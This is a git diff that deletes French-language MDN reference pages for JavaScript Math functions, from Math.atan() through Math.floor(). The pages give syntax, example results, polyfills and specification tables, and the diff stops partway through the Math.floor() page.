diff --git a/files/fr/web/javascript/reference/objets_globaux/math/atan/index.html b/files/fr/web/javascript/reference/objets_globaux/math/atan/index.html deleted file mode 100644 index e7392525ab..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/math/atan/index.html +++ /dev/null @@ -1,105 +0,0 @@ ---- -title: Math.atan() -slug: Web/JavaScript/Reference/Objets_globaux/Math/atan -tags: - - JavaScript - - Math - - Méthode - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Math/atan ---- -
{{JSRef}}
- -

La fonction Math.atan() renvoie l'arc tangente d'un nombre exprimée en radians. Elle est définie par :

- -

Math.atan(x)=arctan(x)=le seuly∊[-π2;π2]tel quetan(y)=x\mathtt{\operatorname{Math.atan}(x)} = \arctan(x) = \text{ the unique } \; y \in \left[-\frac{\pi}{2}; \frac{\pi}{2}\right] \, \text{such that} \; \tan(y) = x

- -
{{EmbedInteractiveExample("pages/js/math-atan.html")}}
- - - -

Syntaxe

- -
Math.atan(x)
- -

Paramètres

- -
-
x
-
Un nombre.
-
- -

Valeur de retour

- -

L'arc tangente du nombre passé en argument (exprimé en radians).

- -

Description

- -

La méthode Math.atan() renvoie une valeur numérique comprise entre -π2-\frac{\pi}{2} et π2\frac{\pi}{2}.

- -

atan() est une méthode statique de Math et doit toujours être utilisée avec la syntaxe Math.atan(), elle ne doit pas être utilisée comme une méthode d'un autre objet qui aurait été créé (Math n'est pas un constructeur).

- -

Exemples

- -

Utiliser Math.atan()

- -
Math.atan(1);  // 0.7853981633974483
-Math.atan(0);  // 0
-Math.atan(-0); // -0
-
-Math.atan(Infinity); // 1.5707963267948966
-Math.atan(-Infinity); // -1.5707963267948966
-
-// L'angle formé entre la droite [(0,0);(x,y)] et l'axe des abscisses
-// dans un système de coordonnées cartésienne
-Math.atan(y / x);
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.0.
{{SpecName('ES5.1', '#sec-15.8.2.4', 'Math.atan')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-math.atan', 'Math.atan')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-math.atan', 'Math.atan')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -
{{Compat("javascript.builtins.Math.atan")}}
- -

Voir aussi

- -
    -
  • {{jsxref("Math.acos()")}}
    • -
  • {{jsxref("Math.asin()")}}
    • -
  • {{jsxref("Math.atan2()")}}
    • -
  • {{jsxref("Math.cos()")}}
    • -
  • {{jsxref("Math.sin()")}}
    • -
  • {{jsxref("Math.tan()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/math/atan2/index.html b/files/fr/web/javascript/reference/objets_globaux/math/atan2/index.html deleted file mode 100644 index 3c49ff6ba5..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/math/atan2/index.html +++ /dev/null @@ -1,113 +0,0 @@ ---- -title: Math.atan2() -slug: Web/JavaScript/Reference/Objets_globaux/Math/atan2 -tags: - - JavaScript - - Math - - Méthode - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Math/atan2 ---- -
{{JSRef}}
- -

La fonction Math.atan2() renvoie l'arc tangente du quotient de ses arguments.

- -
{{EmbedInteractiveExample("pages/js/math-atan2.html")}}
- - - -

Syntaxe

- -
Math.atan2(y, x)
- -

Paramètres

- -
-
x
-
La coordonnée en abscisse du point.
-
y
-
La coordonnée en ordonnée du point.
-
- -

Valeur de retour

- -

L'arc tangente du quotient formé par les deux arguments, c'est-à-dire l'angle, exprimé en radians entre l'axe des abscisses et la droite passant par l'origin (0,0) et le point de coordonnées (x,y).

- -

Description

- -

La méthode Math.atan2() renvoie une valeur numérique comprise entre -Pi et Pi qui représente l'angle theta d'un point de coordonnées (x,y). Cela correspond à l'angle (dans le sens trigonométrique) entre l'axe des abscisses et le point de coordonnées (x,y). Attention, le premier argument de la fonction est l'ordonnée (y) et le second est l'abscisse (x).

- -

Graphique explicitant l'angle donné par un point de coordonnées X/Y

- -

Math.atan2() utilise deux arguments x et y, alors que la méthode Math.atan() utilise le ratio de deux nombres comme un seul argument.

- -

atan2() est une méthode statique de l'objet Math, elle doit toujours être utilisée avec la syntaxe Math.atan2(), elle ne doit pas être utilisée comme la méthode d'un autre objet qui aurait été créé (Math n'est pas un constructeur).

- -

Exemples

- -

Utiliser Math.atan2()

- -
Math.atan2(90, 15); // 1.4056476493802699
-Math.atan2(15, 90); // 0.16514867741462683
-
-Math.atan2( ±0, -0 );               // ±PI.
-Math.atan2( ±0, +0 );               // ±0.
-Math.atan2( ±0, -x );               // ±PI pour x > 0.
-Math.atan2( ±0, x );                // ±0 pour x > 0.
-Math.atan2( -y, ±0 );               // -PI/2 pour y > 0.
-Math.atan2( y, ±0 );                // PI/2 pour y > 0.
-Math.atan2( ±y, -Infinity );        // ±PI pour y qui est un nombre fini > 0.
-Math.atan2( ±y, +Infinity );        // ±0 pour y qui est un nombre fini > 0.
-Math.atan2( ±Infinity, x );         // ±PI/2 pour x qui est un nombre fini.
-Math.atan2( ±Infinity, -Infinity ); // ±3*PI/4.
-Math.atan2( ±Infinity, +Infinity ); // ±PI/4.
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.0.
{{SpecName('ES5.1', '#sec-15.8.2.5', 'Math.atan2')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-math.atan2', 'Math.atan2')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-math.atan2', 'Math.atan2')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Math.atan2")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Math.acos()")}}
    • -
  • {{jsxref("Math.asin()")}}
    • -
  • {{jsxref("Math.atan()")}}
    • -
  • {{jsxref("Math.cos()")}}
    • -
  • {{jsxref("Math.sin()")}}
    • -
  • {{jsxref("Math.tan()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/math/atanh/index.html b/files/fr/web/javascript/reference/objets_globaux/math/atanh/index.html deleted file mode 100644 index ef350947af..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/math/atanh/index.html +++ /dev/null @@ -1,102 +0,0 @@ ---- -title: Math.atanh() -slug: Web/JavaScript/Reference/Objets_globaux/Math/atanh -tags: - - JavaScript - - Math - - Méthode - - Reference - - polyfill -translation_of: Web/JavaScript/Reference/Global_Objects/Math/atanh ---- -
{{JSRef}}
- -

La fonction Math.atanh() renvoie l'arc tangente hyperbolique d'un nombre :

- -

∀x∊(-1,1),Math.atanh(x)=arctanh(x)= le seul y  tel quetanh(y)=x\forall x \in \left( -1, 1 \right), \mathtt{\operatorname{Math.atanh}(x)} = \operatorname{arctanh}(x) = \text{ the unique } \; y \; \text{such that} \; \tanh(y) = x

- -
{{EmbedInteractiveExample("pages/js/math-atanh.html")}}
- - - -

Syntaxe

- -
Math.atanh(x)
- -

Paramètres

- -
-
x
-
Un nombre.
-
- -

Valeur de retour

- -

L'arc tangente hyperbolique du nombre passé en argument.

- -

Description

- -

atanh() est une méthode statique de Math, il faut utiliser la syntaxe Math.atanh(), et non pas une méthode d'un objet Math créé sur mesure (Math n'est pas un constructeur).

- -

Exemple

- -

Utiliser Math.atanh()

- -
Math.atanh(-2);  // NaN
-Math.atanh(-1);  // -Infinity
-Math.atanh(0);   // 0
-Math.atanh(0.5); // 0.5493061443340548
-Math.atanh(1);   // Infinity
-Math.atanh(2);   // NaN
-
- -

Pour les valeurs strictement inférieures à -1 ou strictement supérieures à 1, {{jsxref("NaN")}} sera renvoyé.

- -

Prothèse d'émulation (polyfill)

- -

Pour |x|<1\left|x\right| < 1, on a la formule suivante : artanh(x)=12ln(1+x1-x)\operatorname {artanh} (x) = \frac{1}{2}\ln \left( \frac{1 + x}{1 - x} \right)et on peut donc émuler la fonction avec :

- -
Math.atanh = Math.atanh || function(x) {
-  return Math.log((1+x)/(1-x)) / 2;
-};
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - -
SpécificationStatutCommentaires
{{SpecName('ES6', '#sec-math.atanh', 'Math.atanh')}}{{Spec2('ES6')}}Définition initiale.
{{SpecName('ESDraft', '#sec-math.atanh', 'Math.atanh')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Math.atanh")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Math.acosh()")}}
    • -
  • {{jsxref("Math.asinh()")}}
    • -
  • {{jsxref("Math.cosh()")}}
    • -
  • {{jsxref("Math.sinh()")}}
    • -
  • {{jsxref("Math.tanh()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/math/cbrt/index.html b/files/fr/web/javascript/reference/objets_globaux/math/cbrt/index.html deleted file mode 100644 index fe6c19aa04..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/math/cbrt/index.html +++ /dev/null @@ -1,91 +0,0 @@ ---- -title: Math.cbrt() -slug: Web/JavaScript/Reference/Objets_globaux/Math/cbrt -tags: - - ECMAScript 2015 - - JavaScript - - Math - - Méthode - - Reference - - polyfill -translation_of: Web/JavaScript/Reference/Global_Objects/Math/cbrt ---- -
{{JSRef}}
- -

La fonction Math.cbrt() renvoie la racine cubique (le nom anglais étant cubic root) d'un nombre :

- -

Math.cbrt(x)=x3=le seulytel quey3=x\mathtt{Math.cbrt(x)} = \sqrt[3]{x} = \text{the unique} \; y \; \text{such that} \; y^3 = x

- -
{{EmbedInteractiveExample("pages/js/math-cbrt.html")}}
- - - -

Syntaxe

- -
Math.cbrt(x)
- -

Paramètres

- -
-
x
-
Un nombre.
-
- -

Valeur de retour

- -

La racine cubique du nombre passé en argument.

- -

Description

- -

cbrt() étant une méthode statique de Math, il faut utiliser Math.cbrt(), et non pas la méthode d'un autre objet créé (Math n'est pas un constructeur).

- -

Exemple

- -

Utiliser Math.cbrt()

- -
Math.cbrt(NaN); // NaN
-Math.cbrt(-1); // -1
-Math.cbrt(-0); // -0
-Math.cbrt(-Infinity); // -Infinity
-Math.cbrt(0); // 0
-Math.cbrt(1); // 1
-Math.cbrt(Infinity); // Infinity
-Math.cbrt(null); // 0
-Math.cbrt(2);  // 1.2599210498948732
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES6', '#sec-math.cbrt', 'Math.cbrt')}}{{Spec2('ES6')}}Définition initiale.
{{SpecName('ESDraft', '#sec-math.cbrt', 'Math.cbrt')}}{{Spec2('ESDraft')}}
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Math.cbrt")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Math.pow()")}}
    • -
  • {{jsxref("Math.sqrt()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/math/ceil/index.html b/files/fr/web/javascript/reference/objets_globaux/math/ceil/index.html deleted file mode 100644 index 47e1bde9e2..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/math/ceil/index.html +++ /dev/null @@ -1,177 +0,0 @@ ---- -title: Math.ceil() -slug: Web/JavaScript/Reference/Objets_globaux/Math/ceil -tags: - - JavaScript - - Math - - Méthode - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Math/ceil ---- -
{{JSRef}}
- -

La fonction Math.ceil() retourne le plus petit entier supérieur ou égal au nombre donné.

- -
{{EmbedInteractiveExample("pages/js/math-ceil.html")}}
- - - -

Syntaxe

- -
Math.ceil(x)
- -

Paramètres

- -
-
x
-
Un nombre.
-
- -

Valeur de retour

- -

Le plus petit entier qui est supérieur ou égal au nombre donné.

- -

Description

- -

ceil() est une méthode statique de Math. Elle doit être utilisée avec la syntaxe Math.ceil(), plutôt que comme une méthode d'un autre objet qui aurait été créé (Math n'est pas un constructeur).

- -
-

Note : Math.ceil(null) renverra 0 et pas {{jsxref("NaN")}}.

-
- -

Exemples

- -

Utiliser Math.ceil()

- -

Voici un exemple d'utilisation de Math.ceil().

- -
Math.ceil(.95);    // 1
-Math.ceil(4);      // 4
-Math.ceil(7.004);  // 8
-Math.ceil(-0.95);  // -0
-Math.ceil(-4);     // -4
-Math.ceil(-7.004); // -7
-Math.ceil(null);   // 0
- -

Arrondi décimal

- -
// Fermeture
-(function(){
-
-	/**
-	 * Fonction pour arrondir un nombre.
-	 *
-	 * @param	{String}	type	Le type d'arrondi.
-	 * @param	{Number}	value	Le nombre à arrondir.
-	 * @param	{Integer}	exp		L'exposant (le logarithme en base 10 de la base pour l'arrondi).
-	 * @returns	{Number}			La valeur arrondie.
-	 */
-	function decimalAdjust(type, value, exp) {
-		// Si l'exposant vaut undefined ou zero...
-		if (typeof exp === 'undefined' || +exp === 0) {
-			return Math[type](value);
-		}
-		value = +value;
-		exp = +exp;
-		// Si value n'est pas un nombre
-        // ou si l'exposant n'est pas entier
-		if (isNaN(value) || !(typeof exp === 'number' && exp % 1 === 0)) {
-			return NaN;
-		}
-		// Décalage
-		value = value.toString().split('e');
-		value = Math[type](+(value[0] + 'e' + (value[1] ? (+value[1] - exp) : -exp)));
-		// Re "calage"
-		value = value.toString().split('e');
-		return +(value[0] + 'e' + (value[1] ? (+value[1] + exp) : exp));
-	}
-
-	// Arrondi décimal
-	if (!Math.round10) {
-		Math.round10 = function(value, exp) {
-			return decimalAdjust('round', value, exp);
-		};
-	}
-	// Arrondi décimal inférieur
-	if (!Math.floor10) {
-		Math.floor10 = function(value, exp) {
-			return decimalAdjust('floor', value, exp);
-		};
-	}
-	// Arrondi décimal supérieur
-	if (!Math.ceil10) {
-		Math.ceil10 = function(value, exp) {
-			return decimalAdjust('ceil', value, exp);
-		};
-	}
-
-})();
-
-// Arrondi décimal
-Math.round10(55.55, -1); // 55.6
-Math.round10(55.549, -1); // 55.5
-Math.round10(55, 1); // 60
-Math.round10(54.9, 1); // 50
-Math.round10(-55.55, -1); // -55.5
-Math.round10(-55.551, -1); // -55.6
-Math.round10(-55, 1); // -50
-Math.round10(-55.1, 1); // -60
-// Arrondi décimal inférieur
-Math.floor10(55.59, -1); // 55.5
-Math.floor10(59, 1); // 50
-Math.floor10(-55.51, -1); // -55.6
-Math.floor10(-51, 1); // -60
-// Arrondi décimal supérieur
-Math.ceil10(55.51, -1); // 55.6
-Math.ceil10(51, 1); // 60
-Math.ceil10(-55.59, -1); // -55.5
-Math.ceil10(-59, 1); // -50
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.0.
{{SpecName('ES5.1', '#sec-15.8.2.6', 'Math.ceil')}}{{Spec2('ES5.1')}}
{{SpecName('ES6', '#sec-math.ceil', 'Math.ceil')}}{{Spec2('ES6')}}
{{SpecName('ESDraft', '#sec-math.ceil', 'Math.ceil')}}{{Spec2('ESDraft')}}
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Math.ceil")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Math.abs()")}}
    • -
  • {{jsxref("Math.floor()")}}
    • -
  • {{jsxref("Math.round()")}}
    • -
  • {{jsxref("Math.sign()")}}
    • -
  • {{jsxref("Math.trunc()")}}{
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/math/clz32/index.html b/files/fr/web/javascript/reference/objets_globaux/math/clz32/index.html deleted file mode 100644 index e7c28a3865..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/math/clz32/index.html +++ /dev/null @@ -1,95 +0,0 @@ ---- -title: Math.clz32() -slug: Web/JavaScript/Reference/Objets_globaux/Math/clz32 -tags: - - ECMAScript 2015 - - JavaScript - - Math - - Méthode - - Reference - - polyfill -translation_of: Web/JavaScript/Reference/Global_Objects/Math/clz32 ---- -
{{JSRef}}
- -

La fonction Math.clz32() renvoie le nombre de zéros de tête dans la représentation binaire sur 32 bits d'un nombre.

- -
{{EmbedInteractiveExample("pages/js/math-clz32.html")}}
- - - -

Syntaxe

- -
Math.clz32(x)
-
- -

Paramètres

- -
-
x
-
Un nombre.
-
- -

Valeur retournée

- -

Le nombre de bits à zéro en tête de la représentation binaire sur 32 bits du nombre donné.

- -

Description

- -

"clz32" est un raccourci pour CountLeadingZeroes32 (en français, « compter les zéros de tête »).

- -

Si x n'est pas un nombre, il sera d'abord converti en nombre puis converti en un entier non signé sur 32 bits.

- -

Si l'entier non signé sur 32 bits résultant vaut 0, la fonction renverra 32, car tous les bits valent 0.

- -

Cette fonction est particulièrement utile aux systèmes qui compilent du code JavaScript, comme Emscripten.

- -

Exemples

- -
Math.clz32(1)                // 31
-Math.clz32(1000)             // 22
-Math.clz32()                 // 32
-
-var liste = [NaN, Infinity, -Infinity, 0, -0, null, undefined, 'machin', {}, []];
-liste.every(n => Math.clz32(n) == 32); // true
-
-Math.clz32(true)             // 31
-Math.clz32(3.5)              // 30
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - -
SpécificationStatutCommentaire
{{SpecName('ES2015', '#sec-math.clz32', 'Math.clz32')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-math.clz32', 'Math.clz32')}}{{Spec2('ESDraft')}}
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Math.clz32")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Math")}}
    • -
  • {{jsxref("Math.imul")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/math/cos/index.html b/files/fr/web/javascript/reference/objets_globaux/math/cos/index.html deleted file mode 100644 index 3c28ee7fb4..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/math/cos/index.html +++ /dev/null @@ -1,98 +0,0 @@ ---- -title: Math.cos() -slug: Web/JavaScript/Reference/Objets_globaux/Math/cos -tags: - - JavaScript - - Math - - Méthode - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Math/cos ---- -
{{JSRef}}
- -

La fonction Math.cos() retourne le cosinus d'un angle dont la valeur est exprimée en radians.

- -
{{EmbedInteractiveExample("pages/js/math-cos.html")}}
- - - -

Syntaxe

- -
Math.cos(x)
- -

Paramètres

- -
-
x
-
Une valeur numérique (exprimée en radians).
-
- -

Valeur de retour

- -

Le cosinus de l'angle fourni en argument (exprimé en radians).

- -

Description

- -

La méthode Math.cos() renvoie une valeur numérique comprise entre -1 et 1. Cela représente la valeur du cosinus de l'angle correspondant à cette valeur.

- -

cos est une méthode statique de Math, elle doit toujours être utilisée avec la syntaxe Math.cos(), ne pas utiliser une méthode d'un objet qui aurait été créé (Math n'est pas un constructeur).

- -

Exemples

- -

Utiliser Math.cos()

- -
Math.cos(0);           // 1
-Math.cos(1);           // 0.5403023058681398
-
-Math.cos(Math.PI);     // -1
-Math.cos(2 * Math.PI); // 1
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.0.
{{SpecName('ES5.1', '#sec-15.8.2.7', 'Math.cos')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-math.cos', 'Math.cos')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-math.cos', 'Math.cos')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Math.cos")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Math.acos()")}}
    • -
  • {{jsxref("Math.asin()")}}
    • -
  • {{jsxref("Math.atan()")}}
    • -
  • {{jsxref("Math.atan2()")}}
    • -
  • {{jsxref("Math.sin()")}}
    • -
  • {{jsxref("Math.tan()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/math/cosh/index.html b/files/fr/web/javascript/reference/objets_globaux/math/cosh/index.html deleted file mode 100644 index 99d12d6cf0..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/math/cosh/index.html +++ /dev/null @@ -1,104 +0,0 @@ ---- -title: Math.cosh() -slug: Web/JavaScript/Reference/Objets_globaux/Math/cosh -tags: - - ECMAScript6 - - JavaScript - - Math - - Méthode - - Reference - - polyfill -translation_of: Web/JavaScript/Reference/Global_Objects/Math/cosh ---- -
{{JSRef}}
- -

La fonction Math.cosh() renvoie le cosinus hyperbolique d'un nombre, défini par :

- -

Math.cosh(x)=ex+e-x2\mathtt{\operatorname{Math.cosh(x)}} = \frac{e^x + e^{-x}}{2}

- -
{{EmbedInteractiveExample("pages/js/math-cosh.html")}}
- - - -

(Voir la page sur {{jsxref("Objets_globaux/Math/E","e","",1)}})

- -

Syntaxe

- -
Math.cosh(x)
- -

Paramètres

- -
-
x
-
Un nombre.
-
- -

Valeur de retour

- -

Le cosinus hyperbolique du nombre passé en argument.

- -

Description

- -

cosh() étant une méthode statique de Math, il faut utiliser Math.cosh() et non pas la méthode d'un objet Math créé sur mesure (Math n'est pas un constructeur).

- -

Exemple

- -

Utiliser Math.cosh()

- -
Math.cosh(0);  // 1
-Math.cosh(1);  // 1.5430806348152437
-Math.cosh(-1); // 1.5430806348152437
-
- -

Prothèse d'émulation (polyfill)

- -

Cette fonction peut être émulée grâce à la fonction {{jsxref("Objets_globaux/Math/exp", "Math.exp()")}} :

- -
Math.cosh = Math.cosh || function(x) {
-    return (Math.exp(x) + Math.exp(-x)) / 2;
-}
- -

On peut également utiliser un unique appel à {{jsxref("Objets_globaux/Math/exp", "exp()")}} :

- -
Math.cosh = Math.cosh || function(x) {
-    var y = Math.exp(x);
-    return (y + 1 / y) / 2;
-}
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES6', '#sec-math.cosh', 'Math.cosh')}}{{Spec2('ES6')}}Définition initiale.
{{SpecName('ESDraft', '#sec-math.cosh', 'Math.cosh')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Math.cosh")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Math.acosh()")}}
    • -
  • {{jsxref("Math.asinh()")}}
    • -
  • {{jsxref("Math.atanh()")}}
    • -
  • {{jsxref("Math.sinh()")}}
    • -
  • {{jsxref("Math.tanh()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/math/e/index.html b/files/fr/web/javascript/reference/objets_globaux/math/e/index.html deleted file mode 100644 index 0ffd4fff7d..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/math/e/index.html +++ /dev/null @@ -1,83 +0,0 @@ ---- -title: Math.E -slug: Web/JavaScript/Reference/Objets_globaux/Math/E -tags: - - JavaScript - - Math - - Propriété - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Math/E ---- -
{{JSRef}}
- -

La propriété Math.E représente la base du logarithme naturel, e, et vaut environ 2.718.

- -

Math.E=e≈2.718\mathtt{\mi{Math.E}} = e \approx 2.718

- -
{{EmbedInteractiveExample("pages/js/math-e.html")}}
- - - -
{{js_property_attributes(0,0,0)}}
- -

Description

- -

E étant une propriété statique de Math, il doit toujours être utilisé avec la syntaxe Math.E, et non pas être appelé comme propriété d'un autre objet Math qui aurait été créé (Math n'est pas un constructeur).

- -

Exemples

- -

Utiliser Math.E

- -

La fonction suivante renvoie la valeur de e :

- -
function getNapier() {
-   return Math.E;
-}
-
-getNapier(); // 2.718281828459045
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationStatutCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.0.
{{SpecName('ES5.1', '#sec-15.8.1.1', 'Math.E')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-math.e', 'Math.E')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-math.e', 'Math.E')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Math.E")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Math.exp()")}}
    • -
  • {{jsxref("Math.log()")}}
    • -
  • {{jsxref("Math.log1p()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/math/exp/index.html b/files/fr/web/javascript/reference/objets_globaux/math/exp/index.html deleted file mode 100644 index 62974cdddf..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/math/exp/index.html +++ /dev/null @@ -1,96 +0,0 @@ ---- -title: Math.exp() -slug: Web/JavaScript/Reference/Objets_globaux/Math/exp -tags: - - JavaScript - - Math - - Méthode - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Math/exp ---- -
{{JSRef}}
- -

La fonction Math.exp() renvoie l'exponentielle d'un nombre (donnée par ex, où x est la valeur passée en argument et e la valeur du {{jsxref("Objets_globaux/Math/E","nombre d'Euler (parfois appelé constante de Napier)","",1)}}.

- -
{{EmbedInteractiveExample("pages/js/math-exp.html")}}
- - - -

Syntaxe

- -
Math.exp(x)
- -

Paramètres

- -
-
x
-
-

Un nombre.

-
-
- -

Valeur de retour

- -

L'exponentielle du nombre passé en argument (ex).

- -

Description

- -

exp() est une méthode statique de Math, elle doit toujours être utilisée avec la syntaxe Math.exp(), elle ne doit pas être utilisée avec un objet qui aurait été créé (Math n'est pas un constructeur).

- -

Exemples

- -

Utiliser Math.exp()

- -
Math.exp(-1); // 0.36787944117144233
-Math.exp(0);  // 1
-Math.exp(1);  // 2.718281828459045
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.0.
{{SpecName('ES5.1', '#sec-15.8.2.8', 'Math.exp')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-math.exp', 'Math.exp')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-math.exp', 'Math.exp')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Math.exp")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Math.E")}}
    • -
  • {{jsxref("Math.expm1()")}}
    • -
  • {{jsxref("Math.log()")}}
    • -
  • {{jsxref("Math.log10()")}}
    • -
  • {{jsxref("Math.log1p()")}}
    • -
  • {{jsxref("Math.log2()")}}
    • -
  • {{jsxref("Math.pow()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/math/expm1/index.html b/files/fr/web/javascript/reference/objets_globaux/math/expm1/index.html deleted file mode 100644 index daff456379..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/math/expm1/index.html +++ /dev/null @@ -1,94 +0,0 @@ ---- -title: Math.expm1() -slug: Web/JavaScript/Reference/Objets_globaux/Math/expm1 -tags: - - ECMAScript6 - - JavaScript - - Math - - Méthode - - Reference - - polyfill -translation_of: Web/JavaScript/Reference/Global_Objects/Math/expm1 ---- -
{{JSRef}}
- -

La fonction Math.expm1() renvoie ex - 1, avec x l'argument donné et {{jsxref("Objets_globaux/Math/E","e")}} la base du logarithme nepérien.

- -
{{EmbedInteractiveExample("pages/js/math-expm1.html")}}
- - - -

Syntaxe

- -
Math.expm1(x)
- -

Paramètres

- -
-
x
-
Un nombre.
-
- -

Valeur de retour

- -

Un nombre qui représente ex- 1 où x est la valeur passée en argument et ex l'exponentielle du nombre.

- -

Description

- -

expm1() étant une méthode statique de Math, il faut utiliser Math.expm1()et non pas la méthode d'un autre objet qui aurait été créé sur mesure (Math n'est pas un constructeur).

- -

Exemple

- -

Utiliser Math.expm1()

- -
Math.expm1(-1); // -0.6321205588285577
-Math.expm1(0);  // 0
-Math.expm1(1);  // 1.718281828459045
- -

Prothèse d'émulation (polyfill)

- -

Cette fonction peut être émulée en utilisant la fonction {{jsxref("Objets_globaux/Math/exp", "Math.exp()")}} :

- -
Math.expm1 = Math.expm1 || function(x) {
-    return Math.exp(x) - 1;
-};
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES6', '#sec-math.expm1', 'Math.expm1')}}{{Spec2('ES6')}}Définition initiale.
{{SpecName('ESDraft', '#sec-math.expm1', 'Math.expm1')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Math.expm1")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Math.E")}}
    • -
  • {{jsxref("Math.exp()")}}
    • -
  • {{jsxref("Math.log()")}}
    • -
  • {{jsxref("Math.log10()")}}
    • -
  • {{jsxref("Math.log1p()")}}
    • -
  • {{jsxref("Math.log2()")}}
    • -
  • {{jsxref("Math.pow()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/math/floor/index.html b/files/fr/web/javascript/reference/objets_globaux/math/floor/index.html deleted file mode 100644 index 0058ccfe84..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/math/floor/index.html +++ /dev/null @@ -1,100 +0,0 @@ ---- -title: Math.floor() -slug: Web/JavaScript/Reference/Objets_globaux/Math/floor -tags: - - JavaScript - - Math - - Méthode - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Math/floor ---- -
{{JSRef}}
- -

La fonction Math.floor(x) renvoie le plus grand entier qui est inférieur ou égal à un nombre x.

- -
{{EmbedInteractiveExample("pages/js/math-floor.html")}}
- - - -

Syntaxe

- -
Math.floor(x)
- -

Paramètres

- -
-
x
-
Un nombre.
-
- -

Valeur de retour

- -

Un nombre qui représente le plus grand entier inférieur ou égal à la valeur passée en argument.

